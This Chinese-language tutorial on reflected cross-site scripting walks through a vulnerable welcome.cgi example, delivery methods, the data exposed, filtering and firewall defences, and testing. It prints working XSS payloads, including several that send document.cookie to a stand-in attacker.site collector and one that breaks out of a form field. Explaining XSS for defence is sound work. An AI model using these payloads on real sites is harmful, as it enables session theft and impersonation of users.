【IT168 技术文章】
在跨站脚本攻击中会发生什么
跨站脚本攻击（cross-sitescripting，简称XSS），是黑客用来潜入Web应用程序的最普遍的应用程序层攻击之一。XSS是针对特殊Web站点的客户隐私的攻击，当客户详细信息失窃或受控时可能引发彻底的安全威胁。大部分网站攻击只涉及两个群体：黑客和Web站点，或者黑客和客户端受害者。与那些攻击不同的是，XSS攻击同时涉及三个群体：黑客、客户端和Web站点。
XSS攻击的目的是盗走客户端cookies，或者任何可以用于在Web站点确定客户身份的其他敏感信息。手边有了合法用户的标记，黑客可以继续扮演用户与站点交互，从而冒充用户。举例来说，在对一个大型公司的调查中表明，利用XSS攻击窥视用户的信用卡号码和私有信息是可能的。这是通过利用Web站点的访问特权，在受害者（客户端）浏览器上运行恶意的JavaScript代码来实现的。这些是非常有限的JavaScript特权，除了与站点相关的信息，一般不允许脚本访问其他任何内容。重点强调的是，虽然Web站点上存在安全漏洞，但是Web站点从未受到直接伤害。但是这已经足够让脚本收集cookies，并且将它们发送给黑客。因此，黑客获得cookies并冒充受害者。
XSS技术的深入解析
让我们调用受攻击的站点：www.vulnerable.site。传统的XSS攻击的核心处位于脆弱的站点中的脆弱的脚本。这些脚本读取部分HTTP请求（通常是参数，但有时也有HTTP头域或路径），并且在首次不加密的情况下全部或部分地将其回送给响应页面（因而，不确保它不包含JavaScript代码或HTML标签）。因此，假设该脚本名为welcome.cgi，其参数为name。可以通过以下方式进行操作：
GET /welcome.cgi?name=Joe%20HckerHTTP/1.0
Host:www.vulnerable.site
响应是：
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker <BR>
Welcome to our system
...
</HTML>
这是怎样被盗用的呢？黑客设法引诱受害客户点击他们提供给用户的链接。这是一个精心设计且蓄含恶意的链接，诱使受害者的Web浏览器访问站点（www.vulnerable.site），并调用入侵脚本。该脚本的数据里包含了用于非法访问客户端浏览器为www.vulnerable.site站点所存储cookies的JavaScript。这是允许的，因为客户端浏览器“运行过”来自www.vulnerable.site的JavaScript，并且JavaScript安全模型允许来自特殊站点的脚本访问属于该站点的cookies。
这样的链接如下：
http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>
受害者点击链接之后将生成对www.vulnerable.site的请求，如下所示：
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site ...
脆弱的站点的响应是：
<HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script>
<BR> Welcome to our system ...
</HTML>
受害者客户端的浏览器将把该响应解释为包含一段JavaScript代码的HTML页面。当执行时，该代码被允许访问所有属于www.vulnerable.site的cookies。因此，它将在客户端浏览器中弹出一个窗口，显示属于www.vulnerable.site的所有客户端cookies。
当然，真正的恶意攻击包含了将这些cookies发送给黑客的操作。对此，黑客可能建立Web站点（www.attacker.site）并使用脚本来接收cookies。替代弹出窗口，黑客会书写访问www.attacker.site的URL的代码，从而调用接收cookie的脚本，其参数设置为被窃取的cookies。这样，黑客可以从www.attacker.site服务器上获得cookies。
恶意的链接会是：
http://www.vulnerable.site/welcome.cgi?name=<script>window.open
("http://www.attacker.site/collect
.cgi?cookie="%2Bdocument.cookie)</script>
响应页面看起来像这样：
<HTML> <Title>Welcome!</Title> Hi
<script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>
<BR>
Welcome to our system ... </HTML>
加载该页面的浏览器会立即执行内嵌的JavaScript，并向www.attacker.site中的collect.cgi脚本发送请求，并附带着浏览器已经拥有的www.vulnerable.site的cookies的值。这样就泄漏了客户端所拥有的www.vulnerable.site的cookies。这将允许黑客冒充受害者。客户的隐私就完全被破坏了。
注意：
引发JavaScript弹出窗口的出现通常足够说明该站点容易受到XSS攻击。如果可以调用JavaScriptlert方法，那么通常没理由window.open调用不成功。这就是为什么大部分XSS攻击的实例使用alert方法，因为这很容易检测其成功。
范围和可行性
攻击只会在受害者用于访问站点（www.vulnerable.site）的同一个浏览器中发生。黑客需要强迫客户端访问恶意链接。这会以以下这些方式进行：
● 黑客发送包含强迫浏览器访问该链接的HTML页面的电子邮件消息。这要求受害者使用HTML有效的电子邮件客户端，并且客户端的HTML阅读器是用于访问www.vulnerable.site的同一个浏览器。
● 客户端访问可能受黑客运作的站点，其中的图片链接或其他激活的HTML强迫浏览器访问该链接。再次声明，必须要求浏览器与访问该站点和www.vulnerable.site的是同一个浏览器。
恶意的JavaScript可以访问任何下列信息：
● 浏览器维护的（www.vulnerable.site的）
● 永久cookies浏览器实例维护的（www.vulnerable.site 的）RAMcookies，但只有当最近浏览www.vulnerable.site时发生。
● 为www.vulnerable.site打开的其他窗口的名称
● 可以通过当前的DOM访问的任何信息（如值、HTML代码，等等）
身份识别、验证和授权标志通常以cookies形式维护。如果这些cookies是永久的，那么即使不在访问www.vulnerable.site的时候使用浏览器，受害者也是易受攻击的。然而，如果cookies是临时的，例如RAMcookies，那么客户端必须处于访问 www.vulnerable.site的会话中。
身份识别标志的另一种可能的实现是通过URL参数。在这种情况下，可以用这种方式使用JavaScript访问其他窗口（假设带有必要的URL参数的页面的名称为foobar）：
<script>var victim_window=open(",'foobar');alert('Can access:
' +victim_window.location.search)</script>
跨站点脚本攻击的多种情形
除了<SCRIPT>，使用其他HTML标签来运行JavaScript也是可能的。事实上，同样可能的是，恶意的JavaScript代码存储在另一个服务器上，并强迫客户端下载该脚本并执行它，如果要运行许多代码，或者代码中包含特殊字符时，这是很有用。
关于这些可能性的一些情形：
● 除了 <script>...</script>，黑客可以使用 <img src="javascript:...">。这对于过滤 <script> HTML 标签的站点来说很好用。
● 除了 <script>...</script>，还可以使用 <script src="http://...">。这对于 JavaScript 代码过长，或者其中包含了禁止字符时的情况是很好用的。
有时候，响应页面中内嵌的数据处于非自由的 HTML 环境中。在这种情况下，首先必要的是“逃”到自由的环境中，然后附加 XSS 攻击。举例来说，如果以 HTML 表单字段的默认值注入数据：
...
<input type=text name=user value="...">
...
那么在数据的开头必需包含">，从而逃到自由的HTML环境中。数据可能是：
"><script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>
结果得到的HTML是：
...<input type=text name=user value=""><script>window.open
(http://www.attacker.site/collect.cgi?cookie=+document.cookie)</script>">
...
执行传统的XSS攻击的其他方式
到此为止，我们已经看到XSS攻击可以出现在用脚本回送响应的GET请求的参数中。但是也可以用POST请求实现攻击，或者利用HTTP请求的路径组件——甚至使用一些HTTP头（例如Referer）。
特别是，当错误页面返回错误的路径时，路径组件就有用了。在这种情况下，包含在该路径中的恶意脚本经常都会执行。已发现许多Web服务器都容易受到这种攻击。
什么出了问题？
很重要的是要知道，虽然Web站点不直接受到这种攻击的影响（站点继续正常工作，恶意代码不在站点上执行，不会出现DoS情况，并且数据不直接受控，或从站点上读取），但是它仍旧是站点向其访问者或客户端提供的隐私保护机制中的缺陷。这就像站点使用薄弱的安全标志（securitytoken）部署应用程序，借此，黑客可以猜出客户的安全标志并冒充客户。
应用程序中的脆弱点是不管参数值是什么都回送参数的脚本。好的脚本确保参数的格式是适当的，包含合理的字符，等等。有效的参数通常没有合理的理由包含HTML标签或JavaScript代码，可靠起见，应该在这些内容嵌入响应之前，或者在应用程序中处理这些内容之前，将它们从参数中去掉。
如何保护站点不受XSS攻击
用这三种方式可以保护站点不受XSS攻击
1.执行内部的输入过滤（有时候称为输入清洁设备）。对于内部书写的每个脚本中的每个用户输入——参数或HTTP头，都应该应用高级的HTML标签（包括JavaScript代码）过滤。举例来说，来自之前的案例研究中的welcome.cgi脚本在解码name参数之后，应该过滤<script>标签。该方法有一些严重的不利因素：
● 它要求应用程序的编程人员非常精通安全。
● 它要求编程人员覆盖所有可能的输入来源（查询参数、POST请求的body参数、HTTP头）。
● 它不能抵御第三方脚本或服务器中的安全漏洞。举例来说，它不能防御Web服务器错误页面中的问题（通常显示了资源的路径）。
2.执行“输出过滤”，换句话说，当发回给浏览器时过滤用户数据，而不是当被脚本接收时。一个很好的示例是通过一个脚本将输入数据插入到数据库中，然后再从数据库呈现数据。在这种情况下，重要的是不向原始的输入字符串应用过滤，而只向输出版本应用过滤。这种方法的缺陷类似于对输入过滤的缺陷。
3.通过安装第三方应用程序防火墙，防火墙在XSS攻击到达Web服务器和易受攻击的脚本之前拦截它们，并阻塞它们。不论是来自内部应用程序的脚本或路径、第三方脚本，或根本不描述资源的脚本（举例来说，用来引起来自服务器的404页面响应的脚本），应用程序防火墙都可以以一般的方式覆盖所有输入方法（包括路径和HTTP头）。对于每个输入源，应用程序防火墙根据各种HTML标签模式和JavaScript模式检查数据。如果匹配成功，就拒绝该请求，恶意的输入不会到达服务器。
检查您的站点是否处于XSS攻击保护的方法
检查站点免于遭受XSS攻击是加强站点安全保护的必然结论。正如保护站点免于遭受XSS攻击一样，检查站点的确安全也可以通过手工完成（硬方法），或利用自动的Web应用程序安全漏洞评估工具，它减轻了检查的负担。该工具爬遍站点，然后根据尝试参数、头，和路径找到的所有脚本，运行其知道的所有变化。在这两种方法中，用尽可能多的方式检查对应用程序的每个输入（所有脚本的参数、HTTP头、路径）。如果响应页面包含浏览器可以执行的JavaScript代码，那么XSS安全漏洞就已显露出来。举例来说，发送此文本：
<script>alert(document.cookie)</script>
对每个脚本的每个参数（通过允许JavaScript的浏览器暴露出最简单类型的XSS安全漏洞），如果将文本解释为JavaScript代码，那么浏览器将弹出JavaScript alert窗口。当然，还有很多其他情形，因此，只测试这种情形是不够的。如您已经很了解的话，很可能将JavaScript注入请求的各种字段中：参数、HTTP头，和路径。尽管，在一些情况下（特别是HTTPReferer头），很难利用浏览器执行攻击。
总结
跨站脚本攻击是黑客用来潜入Web应用程序的最普遍的应用程序层攻击之一，并且是最危险的手段之一。它是针对特殊Web站点的客户隐私的攻击，当客户详细信息失窃或受控时可能引发彻底的安全问题。不幸的是，如本文所阐述的，这种攻击经常在无需了解客户或被攻击组织情况的前提下就可以实现。
要防止Web站点受到这些恶意行为的攻击，至关重要的是，组织要实现在线和脱机的安全策略。这包括使用能够自动化测试出站点中所有普遍的Web安全漏洞，和具体应用程序的安全漏洞（例如跨站脚本）的自动化安全漏洞评估工具。对于全面的在线防卫，同样至关重要的是安装可以检测并抵御任何对保存在Web服务器上，或其背后的代码和内容实施控制的防火墙应用程序。
